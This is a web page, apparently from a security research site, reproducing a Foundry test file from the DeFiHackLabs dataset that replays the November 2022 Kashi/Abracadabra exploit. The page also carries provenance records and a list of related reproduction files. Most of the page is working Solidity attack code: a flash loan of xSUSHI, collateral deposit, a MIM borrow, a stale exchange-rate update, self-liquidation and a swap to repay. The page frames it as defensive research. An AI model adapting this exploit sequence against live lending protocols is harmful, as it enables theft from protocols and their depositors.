Public reproduction file
src/test/2022-11/Kashi_exp.sol
Public reproduction file for dataset entry Kashi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://eigenphi.substack.com/p/casting-a-magic-spell-on-abracadabra9// https://twitter.com/BlockSecTeam/status/160363306787615539310// @TX11// https://etherscan.io/tx/0x3d163bfbec5686d428a6d43e45e2626a220cc4fcfac7620c620b82c1f2537c7813interface BentoBoxV1 {14 function batchFlashLoan(15 address borrower,16 address[] calldata receivers,17 address[] calldata tokens,18 uint256[] calldata amounts,19 bytes calldata data20 ) external;22 function setMasterContractApproval(23 address user,24 address masterContract,25 bool approved,26 uint8 v,27 bytes32 r,28 bytes32 s29 ) external;31 function deposit(address token_, address from, address to, uint256 amount, uint256 share) external;33 function withdraw(address token_, address from, address to, uint256 amount, uint256 share) external;35 function balanceOf(address token, address account) external returns (uint256);36}38interface CauldronMediumRiskV1 {39 function addCollateral(address to, bool skim, uint256 share) external;41 function borrow(address to, uint256 amount) external;43 function updateExchangeRate() external;45 function liquidate(46 address[] calldata users,47 uint256[] calldata maxBorrowParts,48 address to,49 address swapper50 ) external;51}53contract ContractTest is Test {54 BentoBoxV1 BentBox = BentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);55 CauldronMediumRiskV1 Cauldron = CauldronMediumRiskV1(0xbb02A884621FB8F5BFd263A67F58B65df5b090f3);56 IERC20 xSUSHI = IERC20(0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272);57 IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);58 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);59 ISushiSwap Router = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);60 address masterContract = 0x4a9Cb5D0B755275Fd188f87c0A8DF531B0C7c7D2;62 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);64 function setUp() public {65 cheats.createSelectFork("mainnet", 15_928_289);66 }68 function testExploit() public {69 MIM.approve(address(Router), type(uint256).max);70 address[] memory receivers = new address[](2);71 receivers[0] = address(this);72 receivers[1] = address(this);73 address[] memory tokens = new address[](2);74 tokens[0] = address(xSUSHI);75 tokens[1] = address(MIM);76 uint256[] memory amounts = new uint256[](2);77 amounts[0] = 450_000 * 1e18;78 amounts[1] = 0;79 BentBox.batchFlashLoan(address(this), receivers, tokens, amounts, new bytes(1));81 emit log_named_decimal_uint("[End] Attacker MIM balance after exploit", MIM.balanceOf(address(this)), 18);82 }84 function onBatchFlashLoan(85 address sender,86 IERC20[] calldata tokens,87 uint256[] calldata amounts,88 uint256[] calldata fees,89 bytes calldata data90 ) external {91 BentBox.setMasterContractApproval(address(this), masterContract, true, uint8(0), bytes32(0), bytes32(0));92 xSUSHI.approve(address(BentBox), type(uint256).max);93 BentBox.deposit(address(xSUSHI), address(this), address(this), 0, 420_000 * 1e18);94 Cauldron.addCollateral(address(this), false, 420_000 * 1e18);95 Cauldron.borrow(address(this), 800_000 * 1e18);96 Cauldron.updateExchangeRate();97 address[] memory users = new address[](1);98 users[0] = address(this);99 uint256[] memory maxBorrowParts = new uint256[](1);100 maxBorrowParts[0] = 680_000 * 1e18;101 Cauldron.liquidate(users, maxBorrowParts, address(this), address(0));102 BentBox.withdraw(103 address(xSUSHI), address(this), address(this), 0, BentBox.balanceOf(address(xSUSHI), address(this))104 );105 BentBox.withdraw(address(MIM), address(this), address(this), 0, BentBox.balanceOf(address(MIM), address(this)));106 uint256 swapAmount = 450_000 * 1e18 * 10_005 / 10_000 - xSUSHI.balanceOf(address(this));107 address[] memory path = new address[](3);108 path[0] = address(MIM);109 path[1] = address(WETH);110 path[2] = address(xSUSHI);111 Router.swapTokensForExactTokens(swapAmount, type(uint256).max, path, address(this), block.timestamp);112 xSUSHI.transfer(address(BentBox), 450_225 * 1e18);113 }114}Analysis
Dataset entry
Public Foundry test for “Kashi” (2022-11-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
- src/test/2025-04/AmpKashi_exp.solSame protocol or name in the dataset · 267 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Kashi
- Path
- src/test/2022-11/Kashi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ee8b9209a6d4b082f7a33bc1486cee325751e576
- Language
- Solidity
- Size
- 115 lines
- Date
- 2022-11-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/Kashi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ee8b9209a6d4b082f7a33bc1486cee325751e576, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.